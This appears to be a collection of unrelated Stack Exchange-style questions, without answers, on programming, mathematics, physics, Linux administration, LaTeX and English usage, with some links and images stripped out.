Why do actiones on concated attay effect both arrays after changes?

I run the process below to gather all product attributes and options from an object, in order to update a product. For some strange reason, the main array categoryUrls get changed, and I can't seem to understand why. After the following process, categoryUrls[random key].attributes.options gets new values added. const {categoryUrls} = require('./helpers/categoryUrls.js')  getCategory = function (categoryUrls) {      let att = []          for (const key in categoryUrls) {         if (categoryUrls[key].attributes) {// check if has attribute              att = att.concat(categoryUrls[key].attributes)                          for(var i=0; i<att.length; ++i) {// check if attribute ID already exist and remove duplicates                 for(var j=i+1; j<att.length; ++j) {                     if(att[i].id === att[j].id){                         for (let k = 0; k < att[j].options.length; k++) { // if attribute ID already exist unite options                             let exist = att[i].options.find(option => option == att[j].options[k]) // check if option no already exist                              if (!exist) {                                 att[i].options.push(att[j].options[k])                             }                         }                         att.splice(j--, 1);                     }                 }             }         }     }     return att }   let data = getCategory(categoryUrls) productData = productData.concat(data)


What are exchanges like "How are you," "I'm fine," and "See you later" called?

Some verbal/written exchanges convey almost no meaning but are part of the protocol of conversation.  For example, somebody greets you with "How are you?" and they're not usually not listening for actual information, just for you to say, "Fine," or similar.  Or when you go through any sort of service transaction, it seems like half a dozen "thank yous" are exchanged between both parties.  Is there a term or phrase describing the phrases we use for maintaining the facade of politeness?


C# access protected field of the object of derived class

There are two classes:  class A {    protected IntPtr i;    public A(A copy)    {       this.i = SomeStaticClass.Copy(copy.i);    }    protected A(IntPtr ds)    {       this.i = ds;    } }  class B : A {     public B(A init)     {         SomeStaticClass.doSomethingWith(init.i); //Cant access this field.     }      public void AnotherMethod(A asd)     {         SomeStaticClass.doSomethingWith(init.i); //Cant access this field again.     } }   Field "i" in A class may controll the unmanaged code, so it's should'nt be public.  And I dont wanna make a copy of A (whinch gonna call some unmanaged code to copy i field, whinch is taking some time), this constructor of B is just converting A to B.  Why do objects of class B cant access objectOfA.i field?  Is there any way to fix that problem?


How do I defeat the Eye of Cthulhu? I got him to half health with just a gun and a broadsword, but it became daytime.


You get taught about matrices and how they work but nobody ever tells you WHY they work in the way that they do. What was the idea that sparked the creation of matrices?


Input Encoding bugged on Windows 7 WinEdt?

When my girlfriend processes her code in WinEdt on Windows 7, she gets awkward looking "special" letters. (Precisly, these are Serbian letters -- from our home country.)  She used:  \usepackage[T1, T2A]{fontenc} \usepackage[utf8]{inputenc} \usepackage[serbian]{babel}  % This isn't relevant here, but I put it for perspective   She also put document properties to utf8, so when she types, all the letters should be encoded in utf8, right? But when she processes her file with pdflatex, she gets . Notice how normal alphabet letters are fine, but the serbian letters (2nd line, word određeno) are different from the others.  But, when I process the same .tex file on my Mac (with TexShop), I get a . You can see that it looks regular, although I used the exact same code as her.  Why does this happen? She uses utf8 encoding on her WinEdt, and also in the document. Shouldn't it work fine?  EDIT: The solution is to include CM-Super font family into MikTex, and it works perfectly. So I guess whenever people have problems regarding European languages and special character formatting, you should check for CM-Super fonts :)


How to change Desktop, Download, Music and ... path?

How can I rename Desktop, Download, Music, Pictures & ... folders names to desktop, download, music, pictures & ... .  NOTE: I'd simply rename them by mv command, but still have troubles. Because when clicking on places panel, get the following error:  Unable to find the requested file. Please check the spelling and try again. Unhandled error message: Error when getting information for file '/home/mehrshad/Documents': No such file or directory


In Login screen of Windows7 appears USER and ask for password

Today, for a first time, in my Windows 7 login screen has appeared a user account named "USER" and is asking for password.   Never saw something similar. I think a malware or virus has infected my Windows.   Does anyone has seen some similar situation? What should I do to gain access to my files?


Tunneling multiple ports through a single port

I'd like to forward several ports from my local machine to a remote machine through SSH tunneling. However, I want this to happen across a single port. Is there a protocol or tool that can multiplex between a single port and multiple applications?  Edit: I am forwarding a lot of ports from a lot of machines to a single remote, and I want to multiplex them at the application level per machine to use as few ports on that remote as possible. I see solutions like sshl that can multiplex certain protocols, but I don't know of any generic solutions that can wrap the messages in a protocol-independent way.


I used to think it was only a British idiom.  But I read an article in the New York Times stressing how important tea was to the British army in Iraq. Apparently there is even a special attachment on a Challenger Tank for making a decent cup of tea. But the article was headed, punningly:  THE BRITISH TO A T.   Sometimes people will say of a child 'He is his father to a t'. Why a 't'?


Cannot get wireless network after suspend

I've been working on an issue of calculation for months, but I can't get my wireless card to work. It always shows to me : Device not ready.  My laptop is Acer 4750g with Qualcomm Atheros AR9287 Wireless Network Adapter (PCI-Express) and the Ethernet controller is Broadcom Corporation Netlink BCM57785 Gigabit Ethernet PCIe.  I've tried  sudo service network-manager restart   but nothing changed.  After that, I've updated my wireless card diver from    And I got :  Settings for eth0:     Supported ports: [ TP ]     Supported link modes:   10baseT/Half 10baseT/Full                              100baseT/Half 100baseT/Full                              1000baseT/Half 1000baseT/Full      Supported pause frame use: No     Supports auto-negotiation: Yes     Advertised link modes:  10baseT/Half 10baseT/Full                              100baseT/Half 100baseT/Full                              1000baseT/Half 1000baseT/Full      Advertised pause frame use: Symmetric     Advertised auto-negotiation: Yes     Link partner advertised link modes:  10baseT/Half 10baseT/Full                                           100baseT/Half 100baseT/Full      Link partner advertised pause frame use: No     Link partner advertised auto-negotiation: Yes     Speed: 100Mb/s     Duplex: Full     Port: Twisted Pair     PHYAD: 1     Transceiver: internal     Auto-negotiation: on     MDI-X: off Cannot get wake-on-lan settings: Operation not permitted     Current message level: 0x000000ff (255)                    drv probe link timer ifdown ifup rx_err tx_err Cannot get link status: Operation not permitted   Does anyone knows how to fix the problem?


Which log will tell me why my computer shut down?

I was at school SSHing to my homebox. All of a sudden, my connection was closed. Attempting to reconnect failed. When I returned home, I discovered that my computer was off.  Nobody was at my house and I am sure that I did not have a power outage.  How can I figure out how or why my computer shut off? Is there some log in /var/log that could point me in the right direction? Should there be a core dump somewhere that I should find? If so, how do I use core dumps?


How to fit a lognormal distribution in Python?

I want to fit lognormal distribution to my data, using python scipy.stats.lognormal.fit. According to the , fit returns shape, loc, scale parameters. But, lognormal distribution normally needs only : mean and standard deviation.  How to interpret the results from scipy fit function? How to get mean and standard deviation?


Simple Windows Program runs in Linux Terminal but not in Windows cmd

I tried to see what is happening to this code "under the hood" using GDB.   At the moment my GDB works in only in linux terminal and, as stated in the title, I get the expected (logical) output whenever I run this code in here.   I think the problem lies arount the return from func().  Running the same code in cmd gives " not equal" and in terminal it gives "equal".  Why is this happening?  I use gcc to compile the code  Here is the code:   #include <stdio.h>  double func(){      double y= 5 ;      return (double)y/3;      /*// Code that works as expected:     double y= (double)5/3;     return y;      */ }      int main() {      double x ;     x= (double)5/3;      if (x == func())         printf("%lf equal to %lf\n", x ,func());     else         printf("%lf not equal to %lf\n", x, func());      return 0; }


Change the comment vote rate limiting message in android app

This is the message you get when you try to vote comments more than once in fifteen seconds, in the android app:     A vote of comment can only be submitted every 15 seconds   Shouldn't it be:       A comment vote can only be submitted every fifteen seconds.   OR     You can only submit a comment vote every fifteen seconds   ?


biometric chip in UK passport not working

Tried to use the egate in the UK but was told my UK Passport chip is not working and had to go through manually. Would this be a problem when entering the US with ESTA?  Has anyone encountered this? Any resolution or is this usually temporary and goes after a while? What could cause this?


$V$ be a vector space , $T:V \to V$ be a linear operator , then is $\ker (T) \cap R(T) \cong R(T)/R(T^2) $?

Let $V$ be a vector space , $T:V \to V$ be a linear operator , then is it true that   $\ker (T) \cap R(T) \cong R(T)/R(T^2) $ ( where $R(T)$ denotes the range of $T$ ) ?    I know that the statement is true when $V$ is finite dimensional as I can show that if $V$ is finite   dimensional , then $\dim (\ker (T) \cap R(T))=rank (T) - rank (T^2)=\dim R(T)/R(T^2)$ ,   but I don't know what happens in general . Please help . Thanks in advance


I have an issue with UTF-8 symbols, such as ☃ - this is being displayed as Â˜Ƒ on the site.  The database, table and column charset is UTF8 and utf8_unicode_ci collation.   I have a header   Content-Type => text/html; charset=utf-8   and a meta tag  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />   php.ini has a default encoding of utf-8  I have the following lines in my my.cnf file  [mysqld] datadir=/var/lib/mysql socket=/var/lib/mysql/mysql.sock user=mysql # Disabling symbolic-links is recommended to prevent assorted security risks symbolic-links=0 default-character-set=utf8 default-collation=utf8_general_ci character-set-server=utf8 collation-server=utf8_general_ci init-connect='SET NAMES utf8'  [client] default-character-set=utf8  [mysqld_safe] log-error=/var/log/mysqld.log pid-file=/var/run/mysqld/mysqld.pid   All files are with a UTF-8 encoding.  When I output the same data in the Mysql Cli everything's OK, but when its displayed on the page, symbols are messed up.  I'm out of options here, please help :(


How do I take a photograph of anything in its original without any processing done on the image/photograph?  Most of the digital cameras apply colour/light corrections after the image is captured.  Analog/film is almost gone and outdated. If analog cameras can capture an image in its original then answer about that, too.


It 's not possible to delete /dev/loop0, Permission denied

How can I delete the /dev/loop0,... Until /dev/loop7 I receive permission denied. On my laptop I have no harddisk. I use only the ram. I use Ubuntu.


Is there any difference between very & much?

Please tell which one is correct. I am much interested. Or I am very Interested.  Please explain scientifically.


Bug when scrolling through the similar questions list

Write the title of your question, wait for "similar questions" to load, scroll it, complete your title, wait for the "similar questions" list to update, scroll again... (on FireFox windows)


I need help with this.  I have these 2 tables. I need to print the firstname from the corresponding id. It's for something like a buddy app where people get matched so for example i need it to print 'Charlotte and Sam are now buddies'.  users:       id  /  firstname  /  lastname     --------/-------------/------------      1  /  charlotte  /  jeuris      2  /  sam        /  verdaet      3  /  hilde      /  hayen   matched:    user1  /  user2 ---------/----------    2     /    3    1     /    3    what i have now is:    $statement = $conn->prepare("     SELECT users.id      FROM users      LEFT JOIN matched ON users.id=matched.user1      and LEFT JOIN matched ON users.id=matched.user2");   but at this point i really don't have a clue anymore what's wrong or right..  Thanks!


I want to remove the underline of the header "NOT FOR DISTRIBUTION" in the following document:  \documentclass[conference,letterpaper]{IEEEtran}  \setlength{\headheight}{12pt} \setlength{\headsep}{5mm}  \usepackage{fancyhdr} \usepackage{lipsum}% just to generate text for the example  \pagestyle{fancy} \fancyhf{} \fancyhead[C]{NOT FOR DISTRIBUTION} \makeatletter \let\ps@IEEEtitlepagestyle\ps@fancy \makeatother  \begin{document} \title{The Title} \author{Michael Shell \and Homer Simpson}  \maketitle  \lipsum[1-20]  \end{document}   Any suggestions on how to fix this?


What would be the simplest way to alpha sort an array of chars in C?

I'm looking for a simple, easy to understand algorithm to alphabetically sort an array of characters in C.


How to simplify $ \sum_{k=0}^{\infty} \binom{k + r - 1}{k} x^k$

I'm trying to simplify the following formula, but I keep failing to do.   $$ \sum_{k=0}^{\infty} \binom{k + r - 1}{k} x^k $$  I tried:  From the Hockey-stick identity,  $$ \sum_{k=0}^{n} \binom{k + r - 1}{k}  = \binom {n+r}{n}$$  But I have no clue to apply the fact to simplify the above formula.  Is there anyone to give a hint for it?


What are some basic methods to solve a recursive function of the shape $f_n = \alpha f_{n-1} + \beta f_{n-2}$ where $\alpha, \beta \in\mathbb{R}$

I want to understand a little bit more about determining the determinant of tridiagonal matrices. These determinants are (mostly) of the form  $$f_n = \alpha f_{n-1} + \beta f_{n-2}$$ where $\alpha, \beta \in\mathbb{R}$.   I have a hard time finding literature on how to solve this. Anyone that can help me out?


Lorentz transformation of Gamma matrices $\gamma^{\mu}$

From my understanding, gamma matrices transforms under Lorentz transformation $\Lambda$ as \begin{equation} \gamma^{\mu} \rightarrow S[\Lambda]\gamma^{\mu}S[\Lambda]^{-1} = \Lambda^{\mu}_{\nu}\gamma^{\nu} \end{equation} Where $S[\Lambda]$ is the corresponding Lorentz transformation in bispinor representation. So my question is: When we change from on frame to another, are we allowed to write $\gamma'^{\mu} = \Lambda^{\mu}_{\nu} \gamma^{\nu}$ where $\gamma'^{\mu}$ is the transformed version of $\gamma^{\mu}$? If yes, then when we write down $\gamma^{\mu}$ explicitly (in some representation) as we do in any standard QFT textbook like \begin{equation} \gamma^{\mu} = \begin{pmatrix} 0 & \sigma^{\mu} \\  \bar{\sigma}^{\mu} & 0 \end{pmatrix} \end{equation} do we assume any specific frame of reference? If so, which frame? Because if I apply Lorentz transformation such as a boost along $x$-direction I will have \begin{equation} \gamma'^{0} = \cosh(\eta)\gamma^0 + \sinh(\eta)\gamma^1 = \begin{pmatrix}  0 & \cosh(\eta) + \sigma^1 \sinh(\eta) \\ \cosh(\eta) - \sigma^1\sinh(\eta) & 0 \end{pmatrix} \end{equation} and similarly for $\gamma^i$. I understand that at the end any choice of reference frame does not matter because that's the point of relativistic theory like QFT. The term like $\bar{\psi}\gamma^{\mu}\partial_{\mu}\psi$ in the theory will remain invariance under Lorentz transformation. But just like how we have the momentum shell condition $p^{\mu}p_{\mu} = -m^2$ in all frames but $p^{\mu}$ itself will change from one frame to the other and in particle rest frame we have $p^{\mu} = (m,0,0,0)$ it seems to me that by writing down $\gamma^{\mu}$ explicitly as above we are picking a specific frame. Could someone please clarify this to me?


I'm trying to finish some code for my homework. But this line of code doesn't seem to work correctly for me. I want the user to only input the following string: freshman, sophomore, junior or senior. Any other input is invalid.   Don't know what else to try, I'm fairly new to java.  while (true) {   System.out.println("Enter undergraduate level: ");   lvl = inReader.nextLine();   if (lvl != "freshman" || lvl != "sophomore" || lvl != "junior" || lvl != "senior") {     System.out.println("Please enter valid level.");   } else {     break;   } }   I expected the input to only take freshman, sophomore, junior, and senior as in input, but it takes no inputs and only displays "Please enter valid level."


How to add the configuration changes from a website to another website?

This is what I'm trying to do:  I have a website A where I make configuration changes and add other stuff. Now I create a website B. I would like to add the configuration changes from website A to this website.   I know the UUID of both websites have to be the same (like staging & production environment). In "" they explain how to do this with drush cget system.site.   The problem is when I run drush cget system.site in my website A I get the following drush error:     Command config-get needs a higher bootstrap level to run - you will need to invoke drush from a more functional Drupal environment to run this command.                                                               [error]   The drush command 'cget system.site' could not be executed.                                                                                [error]   Drush was not able to start (bootstrap) the Drupal database.                                                                                [error]   Hint: This may occur when Drush is trying to:    * bootstrap a site that has not been installed or does not have a configured database. In this case you can select another site with a working database setup by specifying the URI to use with the --uri parameter   on the command line. See drush topic docs-aliases for details.    * connect the database through a socket. The socket file may be wrong or the php-cli may have no access to it in a jailed shell. See  for details.   Drush was attempting to connect to:  Drupal version         :  8.0.0-rc1  Site URI               :  http://default  Database driver        :  mysql  Database hostname      :  localhost  Database port          :  3306  Database username      :  root  Database name          :  s_1  PHP executable         :  /Applications/MAMP/bin/php/php5.5.10/bin//php  PHP configuration      :  /Applications/MAMP/bin/php/php5.5.10/conf/php.ini  PHP OS                 :  Darwin  Drush script           :  /Users/myname/.composer/vendor/drush/drush/drush.php  Drush version          :  8.0-dev  Drush temp directory   :  /tmp  Drush configuration    :  Drush alias files      :  Drupal root            :  /Applications/MAMP/htdocs/s1  Site path              :  sites/default  Sync config path       :  sites/default/files/config_bZM1aJhLcWGpFZJEzfEw_pKF4g71jOdkSRti30k540BAwE9GQ4U6p469a9VxyJS4j4JVfC58qg/sync   I've installed the latest version of drush .. . I'm working with the release candidate of Drupal 8. Is there another way to get my UUID? Or do you have a tutorial or a video/blogpost of somebody who already did this?  UPDATE:  Ok, I was able to retrieve the UUID from website A and changed the UUID in website B so they have the equal UUID.  After that I changed the system site slogan of website A.  Then I did an export of the configuration in website A. But when I tried to import it in website B I got 137 new files to sync .. . The UUID is different in all files like this:    When I tried to synchronize I got the following error:


I am looking to host lidar data on my own server and give clients the ability to view that data through a web browser as a 3D point cloud (file would be in .las format or equivalent), possibly with the ability to measure features.   Does anyone know of an easy to implement piece of software that can do this?  I am not nessecarily looking for open source, and I would prefer something plug and play because I am not a programmer.


$f(x)=x^p-a$ is either ireducible or has a root?

Let $p$ be a prime number. Prove that for any field $k$ and any $a\in  k$, the polynomial $f(x)=x^p-a$ is either irreducible or has a root.  I think if $\operatorname{Char}k=0$ then $f$ is an irreducible polynomial and if $\operatorname{Char}k=p$ for $p$ a prime number then $f=(x-a)^p$ so $f$ has a root.  This problem is in Galois Theory, by Miles Reid.


Problems with a non-inverting op amp configuration when input voltage is too low

I currently have a very simple op amp circuit for a non-inverting amplifier, using a UA741 with the gain set as 2.  I have a sensor that outputs 0-2.3V and I'm attempting to amplify it up to 0-4.6V.  The set up for the op amp is below.    The problem is that when I test this circuit under about 2.5V the amplified output voltage just sits at a steady 4V.  Is this a problem with the chip, or is there something I need to do in the circuitry?  I was going to try an LMV324 as well, but I would have to power it with a lower voltage which made testing the circuit more difficult.  Any insight is appreciated.


T prove that a statement holds for any integer

Prove that $$\frac{1}{5}n^5+\frac{1}{3}n^3+\frac{7}{15}n$$ is an integer for every integer $n$  I have no idea which concept to use here


glm binary variable using family= gaussian instead of binomial is it wrong?

no this question is not a duplicate what i did is that i have 50 variables one qulitative y taken values 0 for normal cells and 1 for abnormal cells and 49 quantitative variables  what i wanted to do is using logistic regression to express y ~the other 49 variables  but when coding i just used this glm formula glm(y~., data=mydt) and i did not mentioned the family so what i used really is not logistic model but model with family=gaussian   then now what i want to know is wht is the difference between the two models and if this did affect the results that i have  i hope that is now clear thanks a lot in advance for any help


Need to execute a shell script in different unix servers

There is a script in different unix servers for space cleanup. I dont want to connect all servers everytime, and want to run the script by connecting to only one unix server. Can you please assist on it.


Are there any free tools to recover data from a crashed Windows hard drive?

I have a hard drive which is crashed. In the explorer I can't see the hard drive. With tools like  I can see the files I lost. Are there any free tools I can use to recover my data? I searched a lot on the internet but there are just paid tools. I already tried built-in tools in Windows in the command prompt, but None of them worked at all. Can you give me a suggestion


Getting inconsistent margins across pages

I'm getting inconsistent margins across pages. The preamble of my document is: \documentclass[12pt,a4paper,twoside, openright]{report} \usepackage[utf8]{inputenc} \usepackage[T1]{fontenc} \usepackage{amsmath} \usepackage{amsfonts} \usepackage{amssymb} \usepackage{graphicx} \usepackage{sectsty} \usepackage{listings} \usepackage{color} \usepackage{titlesec} \usepackage{mathptmx} \usepackage{framed} \usepackage{xcolor}  % Title Formats for Chapter and Section Headings  \titleformat{\section}{\normalfont\bfseries}{\thesection}{1em}{}[{\titlerule[0.8pt]}] \titleformat{\chapter}[display] {\normalfont\bfseries \centering}{\chaptertitlename\ \thechapter}{12pt}{}  \titlespacing*{\chapter}{0pt}{-50pt}{14pt} \titlespacing*{\section}{0pt}{14 pt}{14pt}  I haven't used any other commands to change spacing. The margins do return to the original value on the next page.


How to speed up Ubuntu 14.04 in VirtualBox 4.3.10

My virtualbox running ubuntu 14.04 but seep is very slow.  Virtualbox: 4.3.10 Ubuntu: 14.04 Virtualbox addon: 4.3.10  I have tried suggestion from post:   But doesn't work.


Prove the inequality $\left(1+\frac{1}{n}\right)^n < \left(1+\frac{1}{n+1}\right)^{n+1}$

Can anybody show me the way of proving it without induction.My textbook showed the way but it was unclear for me.It used the statements such as $(n+1)a^n < b^n +b^{n-1}a.....+a^n < (n+1)b^n$             I don't know how they come to this statement I know it's a duplicate question but the type of answer I am searching for should be derived from above statement so that I could understand how author intended to prove


What happens to the energy bands when a forward bias > Buit-in potential is applied

When we applied a forward bias across a PN junction, the barrier height of the depletion region reduces.   What will happen to the energy bands when we apply the forward bias greater that the built-in potential?


Why some questions are written in this funny way?

There, I did it myself. Instead of asking "Why are some questions written in this funny way?", I produced what strikes me as bad English ever so often: Questions that are formed by starting out with "Why" (or other interrogative words), followed by what seems to be a normal subject-verb-object sentence. A few examples are quickly drawn from some other SE sites (missing question marks included), but this seems to be quite common all across the board:   “Why we need SELinux?” “Why ATM and MPLS are at level 2.5” “Why Turn Collate Off” “Why BitTorrent uploads simultaneously?” “Why the letters in keyboards are arranged like this?”   I do have the impression that the actual article beneath such a question is often written in quite good English, so the writer is not necessarily a beginner of the language.  Therefore my question, mainly aimed at the native speakers of English: Is this considered to be good style? Or do you find it sloppy? What's your impression when you read such a construct?


Using Java 6, how can I implement a ? It is very easy and possible in Ruby. How can I get similar in Java?


Recent movie involving dimensions and time travel/displacement

It's a (relatively) recent movie about a kid whose scientist father is missing or presumed dead.  The kid experiences strange situations (e.g., books from a case fall off).  In the end, it was the father the one that was throwing those books to draw the attention of the kid.  Does anyone know the name of this film?


Loop for all possible combinations from 3 variables

I have a bit of code that runs some stats for a moving 3D window at varying size. I have created a loop to to do this in increments of 5 from 5 to 50 as below.  For example first X = 5, Y = 5, Z = 5, then X = 10, Y = 10, z = 10 etc.  This works fine, but what I'd like to do is run the loop with every possible combination of X, Y and Z in increments of 5.   For example   X  Y  Z 5  5  5 10 5  5 15 5  5 .. .. .. 50 5  5 5  10 5 5  15 5 5  20 5 .. .. .. 10 10 5 10 15 5   etc,   so all in all it would be 1000 possible combinations I think   Can i do this with something like itertools.permutations?   I'm pretty new to python and coding so help would be much appreciated   #python code sizeX = (0) sizeY = (0) sizeZ = (0) count = (0)  for i in range(0,10):  count = (count + 1)             sizeX = (sizeX + 5)  sizeY = (sizeY + 5)  sizeZ = (sizeZ + 5)   #run the code


Gravitational potential energy on the Earth's surface

We assume that gravitational potential energy at a height $h$ from the Earth's surface is $mgh$. Is that accurate or only approximately correct ?    Here is my approach.   On the surface of the Earth,  $U_s = -\dfrac{GMm}{R}\tag*{}$ ($R$ is the radius of the Earth)  At a height from the Earth's surface, $U_h=-\dfrac{GMm}{R+h}\tag*{}$  When we take the difference, we can find that  $U_h-U_s =-\dfrac{GMm}{R} \left(\dfrac{h}{R+h}\right)\tag*{}$ (If I haven't made any miscalculations)  What can I say from this?


Understanding sets of polynomials as subspaces

I have a homework assignment, that I can't quite wrap my head around, let me state the question, and show my progress.  Let $n$ be a natural number, and let $\alpha \in \mathbb{R}$ be a real scalar. Consider the subset \begin{equation*}   V=\{p\in P_n(\mathbb{R}):p(\alpha)=0\}, \end{equation*} of the real vector space $P_n(\mathbb{R})$.  First I need to show, that $V$ is a subspace of $P_n(\mathbb{R})$, and as far as I figure, $V$ is the set containing all polynomials of degree $\leq n$ where no matter the variable $\alpha$ the polynomial equals $0$.  I've then showed that since all elements are $0$ it's closed under addition, scalar multiplication and it ofcourse contains $0$ itself. I assume what I have done so far is correct, but am unsure.   Next up I need to decide the dimension of $V$ and I have been hinted that I need to use the formular $\text{dim}(v)=\text{dim}(\text{ker}(L))+\text{dim}(L(V))$ on the imaging $L:P_n(\mathbb{R})\rightarrow\mathbb{R}$ defined as $L(p)=p(\alpha)$.  I assume $\ker(L)=0$ since all coefficients in the polynomial has to be $0$, and therefore $\dim(\ker(L))=0$ as well. Same goes for $L(V)=0$ and $\dim(L(V))=0$, so is the answer to this question just $0$?  The reason why I'm unsure of myself is because I feel it's almost too easy with all these zeroes.  Sorry if some of the terminology is wrong, english is not my first language.


Error whenever trying to insert list of records into VisualForce Page from custom controller?

I currently have a visualforce page with a custom controller that counts the amount of records that has a field marked as a specific status from a picklist. I need to be able to display those records in a list format on the visual force page as well and have a real time timer that counts up from the second the record is registered on the page, but I always get an error whenever I try to insert the list into my VF page, any help would be appreciated. Also, if anyone knows how to implement what I am trying to achieve then that would be MUCH appreciated, here is my current code.   VF PAGE   <apex:page controller="LeadAlertController" showHeader="false" sidebar="false" standardStylesheets="false">          <meta http-equiv="refresh" content="10"/>

Number of Hot Leads

Number of Hot Leads Over 10 Minutes

List of Names

{!Leads}

{!OverLeads}

{!Names}

      <apex:outputPanel rendered="{!if(OverLeads>0,true,false)}">         <audio src="/resource/alert" type="audio/mp3" autoPlay="true">         </audio>     </apex:outputPanel> </apex:page>   CUSTOM CONTROLLER CODE     public without sharing class LeadAlertController {     public integer leads {get;set;}     public integer overleads {get;set;}     public List<lead__c> Names {get;set;}         public LeadAlertController() {         leads = [select count() from lead__c where lead_status__c=:'Not Attempted'];         overleads=[select count() from lead__c where lead_status__c=:'Not Attempted' AND x10MinAlert__c=:true];         Names = [select Patient_Name__c from lead__c where lead_status__c=:'Not Attempted'];       } }   Whenever I try to insert "Names into the VF page, I get "visualforce Error: Unknown property LeadAlertController.Names" as an error.


I have lmp_fedora executable file located in /src. I use this command:   mpirun -np 4 lmp_fedora < in.stdinfile   to execute the job. However it is only able to run if I copy lmp_fedora into the same directory where I am launching the job. I compiled a alias:  echo 'alias lmp_fedora=/home/MyUSERNAME/liggghts/src/lmp_fedora' >> ~/.bashrc   and my motive is to be able to execute lmp_fedora from any directory. Is the above correct? and if yes, now I am stuck on what should my new job submit command be for that to happen.


Ensuring expression always yields same number of digits in ArcGIS Desktop?

I am using ArcGIS Desktop 10.5 and trying to create a unique ID with the following expression:  "city_id"='2'&'002'&"popn_rank"   The expected result would look like 20020001, 20020002, etc.  The problem is that "popn_rank" has a varying number of digits, from 1 to 4 (e.g. 1, 12, 100, 1032). The expression that I entered aboved would output something like: 20021, 200212, 2002100, 20021032.  How do I make sure that "city_id" always has 8 digits?  I'm guessing there's a way of adding something to the expression or changing something to "popn_rank" beforehand, but I don't know how.


How can I write a query using Oracle SQL Developer to find how many blocks my database is using? (tables & indexes)


How do I archive my textures and mesh in the same archive?

So I made some models in Blender and I want to upload them to CGTrader, however, I don't know how to zip them all up in a folder/archive. The farthest I've got is a .blend file zipped in an archive. I want to see all the textures listed in a folder and not just a single .blend file. Thnaks in advance!


Installing Ubuntu in a Windows Laptop in Dual Boot mode-Please help

I have a Hp Pavillion Laptop with Windows  8.1  SL installed .I want to install Ubuntu in my Laptop with dual boot. I have downloaded the Latest Ubuntu iso.   Please help in getting the step to install ubuntu in windows 8.1 as dual boot.  The Configurations are Processor: Intel Core i3 3rd Gen HDD: 500GB-(Partitions-C,D,E,F; C Drive contains Windows ,D and E are Free and F is the rocovery drive.) RAm:4 GB Graphics:2GB


Why can I not alias the type in class located in a base class?

I'm trying to alias the type which is located in a class located in the base class's body.  Sample code:  #include <iostream> #include <typeinfo> #include <type_traits>   template <typename...Ts>     struct X;  template <typename T, typename...Ts>     struct X<T, Ts...> : X<Ts...> {     using base = X<Ts...>;      template <typename R, int I=0>         struct find     {         using type = base::template find<T, I+1>;     };      template <int I>         struct find<T, I>     {         using type = X;     }; }  template <>     struct X<> {};  int main() {     using type = X<int, float>;      std::cout << typeid(type::find<float>).name(); }   This produced an error error: expected a type for line:  using type = base::template find<T, I+1>;   What have I done wrong?


Natural way of asking for ordinal position in athletic events

For the long jump event at my school athletics carnival, people nominate and then get arrange in a certain order. I am looking for a natural way of phrasing a question to get someone to tell me where he fits in that order/sequence. One a native speaker would causually use. For example, if you're person A, and you want to elicit the following response:   B: I am the nth jumper, just X more people and it'd be my turn.   I remember asking "Do you know where you are in the jumper order?" which sounds stilted and awkward (and I don't think I am using the word 'order' correctly). How can this question be properly framed? Also, I have looked through questions relating to ordinal numbers on this site, but just about all of them are related to birth order, and doesn't quite answer my query.


Run multiple instance of any windows application

Suppose some author has enforced his Windows application to be single instance. Is there any way to make multiple instance of this application (aside from running inside a virtual machine or requesting the author to rewrite the app)?  If there is a readymade tool, I would like to know it. (I have tried sandboxie and Altiris SVS without luck).  If there is nothing out there, I want to program a tool/hack that will let me do this.  I am looking for pointers where to start - what will be involved, what skills would be needed. I have moderate programming skills in C and Java.  If this cannot be done, please explain why.  EDIT: I know its a bad idea but I still need to do it (for various reasons). I want a generic way that works for any application and does not introduce errors.


Stack Overflow user profile page doesn't want to link to Careers

It seems like it should now be possible for my Stack Overflow profile to link to Stack Overflow Careers, but somehow it doesn't show my profile (even though clicking the link next to it does get me to my Careers profile). Any clues?     (is 404, maybe this is related?)


What's the recommended max width for the main container and for the main column, for large screens?

Based on this question,  and its comments and answers, I did some research, but I didn't find a complete answer.   For me it is obvious that it is a good decision to limit the width of the main container, but what is the recommended max-width for the main container for large screens, in 2017, when the screens become larger and larger? What variables should be considered in this decision?  Also, let's say a website has multiple columns in the main container, what is the max-width for the main column?  Update: I have now a related question. I recommended to one client to reduce the width of the main container on the homepage, but I can't convince him. It is a website with photos, like pexels.com. It is in this case important to limit the width if the elements are not one more important than other?


Is it possible for a lightsaber to be made in a Y shape?

Suppose you made a lightsaber shaped like a Y, and in a battle fought with the one going straight. If you activated the other blade when you and your foe crossed blades, it would go right through them before they could block it, right? Is this possible?


Accessing Linux server from Windows machine in graphical mode via SSH

I need to access one of my school Linux servers from my home computer that runs Windows. And I need to access graphical desktop (X server) on them remotely, not only shell.  The problem includes 3 Linux servers with different settings. I don't have admin privileges on any of them and cannot change those settings. The 3 servers are called Aisa, Lethe and Aura (somebody loves Greek mythology here). All of them are part of school's local network.  I need to access graphical interface on either Lethe or Aura, any of them would be fine.  Here is what I have found out:   ports for services like VPN are not available on any of the 3 SSH is allowed on Lethe and Aisa, not on Aura. I can still access Aura when I SSH to Aisa or Lethe using Putty and then ssh aura. I have tried  that allows graphical connection from windows to Linux via SSH. I was only able to connect to Aisa this way (why not to Lethe?! Putty works there).   So what can I try to get graphical connection to either Lethe or Aura from my Windows computer? Any suggestions are very much welcome.  edit Here is the code showing how I get disconnected from Aura back to Aisa after running vncserver:  aisa:/home/user>$ ssh aura Last login: Sat Oct 13 00:00:00 2012 from aisa.domain.com aura:/home/user>$ module add vnc aura:/home/user>$ vncserver  New 'aura.domain.com:1 (user)' desktop is aura.domain.com:1  Starting applications specified in /home/user/.vnc/xstartup Log file is /home/user/.vnc/aura.domain.com:1.log  aura:/home/user>$ Connection to aura closed by remote host. Connection to aura closed. aisa:/home/user>$    edit 2 Content of file /home/user/.vnc/aura.domain.com:1.log after executing command vncserver:  aura:/home/user>$ cat /home/user/.vnc/aura.domain.com:1.log /packages/run/vnc-4.1.2/Xvnc: error while loading shared libraries: libstdc++.so.6: cannot open shared object file: No such file or directory /home/user/.vnc/xstartup: line 4: xsetroot: command not found /home/user/.xsession: line 15: xset: command not found vncconfig: unable to open display "aura.domain.com:1" /home/user/.xsession: line 42: xmodmap: command not found Module xv Module modules Module viewers Module WindowMaker-0.80.2 Module mozilla ModuleCmd_Load.c(199):ERROR:105: Unable to locate a modulefile for 'mozilla' stty: standard input: For this device invalid ioctl wmaker: error while loading shared libraries: libtiff.so.3: cannot open shared object file: No such file or directory   Note: I have translated some strings that were displayed in czech (Aura is running czech version of Red Hat)


